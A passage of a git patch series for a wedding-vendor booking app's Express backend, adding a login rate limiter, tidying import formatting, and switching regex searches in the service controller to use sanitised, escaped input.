max: 5, // limit each IP to 5 login attempts per window
message: { error: "Too many login attempts. Please try again later." },
standardHeaders: true, // Return rate limit info in headers
- legacyHeaders: false // Disable the X-RateLimit headers
+ legacyHeaders: false, // Disable the X-RateLimit headers
});
const {
vendorRegister,
- vendorLogIn
+ vendorLogIn,
} = require("../controllers/vendorController.js");
const {
@@ -32,20 +32,20 @@ const {
deleteAllServiceReviews,
addReview,
getInterestedCouples,
- getAddedToInvoiceServices
+ getAddedToInvoiceServices,
} = require("../controllers/serviceController.js");
const {
coupleRegister,
coupleLogIn,
getInvoiceDetail,
- invoiceUpdate
+ invoiceUpdate,
} = require("../controllers/coupleController.js");
const {
newBooking,
getBookingedServicesByCouple,
- getBookingedServicesByVendor
+ getBookingedServicesByVendor,
} = require("../controllers/bookingController.js");
// Vendor
From c8cfe5f443e4f33c366021f1eead4db9500282b3 Mon Sep 17 00:00:00 2001
From: HasinduOnline <40927446+hrtechplus@users.noreply.github.com>
Date: Wed, 24 Sep 2025 15:52:59 +0530
Subject: [PATCH 2/2] Update serviceController.js
---
vendorapp/backend/controllers/serviceController.js | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/vendorapp/backend/controllers/serviceController.js b/vendorapp/backend/controllers/serviceController.js
index 6e2ea1c..c405541 100644
--- a/vendorapp/backend/controllers/serviceController.js
+++ b/vendorapp/backend/controllers/serviceController.js
@@ -145,9 +145,9 @@ const searchService = async (req, res) => {
const services = await Service.find({
$or: [
- { serviceName: { $regex: escapedKey, $options: "i" } },
- { category: { $regex: escapedKey, $options: "i" } },
- { subcategory: { $regex: escapedKey, $options: "i" } },
+ { serviceName: { $regex: safeKey, $options: "i" } },
+ { category: { $regex: safeKey, $options: "i" } },
+ { subcategory: { $regex: safeKey, $options: "i" } },
],
})
.populate("vendor", "shopName")
@@ -207,7 +207,7 @@ const searchServicebySubCategory = async (req, res) => {
const safeKey = escapeRegex(validator.escape(key.trim()));
let services = await Service.find({
- $or: [{ subcategory: { $regex: escapedKey, $options: "i" } }],
+ $or: [{ subcategory: { $regex: safeKey, $options: "i" } }],
})
.populate("vendor", "shopName")
.limit(50);